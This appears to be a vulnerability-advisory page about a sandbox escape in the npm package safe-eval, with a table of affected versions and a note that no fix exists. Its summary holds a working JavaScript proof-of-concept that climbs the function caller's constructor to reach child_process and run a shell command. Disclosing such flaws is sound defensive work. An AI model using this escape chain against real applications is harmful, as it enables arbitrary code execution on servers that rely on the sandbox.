Sandbox Breakout / Arbitrary Code Execution in safe-eval
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- No fix listed
No CVSS vector from any source. Fix status from GitHub.
Summary
All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code. For example, the payload ``` ((() => { const targetKey = Object.keys(this)[0]; Object.defineProperty(this, targetKey, { get: function() { return arguments.callee.caller.constructor( "return global.process.mainModule.require('child_process').execSync('pwd').toString()" )(); } }); })();``` may be used to print the `pwd` to the console. ## Recommendation No fix is currently available. Consider using an alternative package until a fix is made available.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | safe-eval (npm) | 0.0.0 and later | — | No fix listed | GHSA-9pcf-h8q9-63f6 |
- safe-eval (npm) Vendor— Affected 0.0.0 and later Fixed in — No fix listed GHSA-9pcf-h8q9-63f6
Remediation
No fixed version listed by the sources yet.
Timeline
- 2026-10-03 Threatist record created from GHSA-9pcf-h8q9-63f6
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences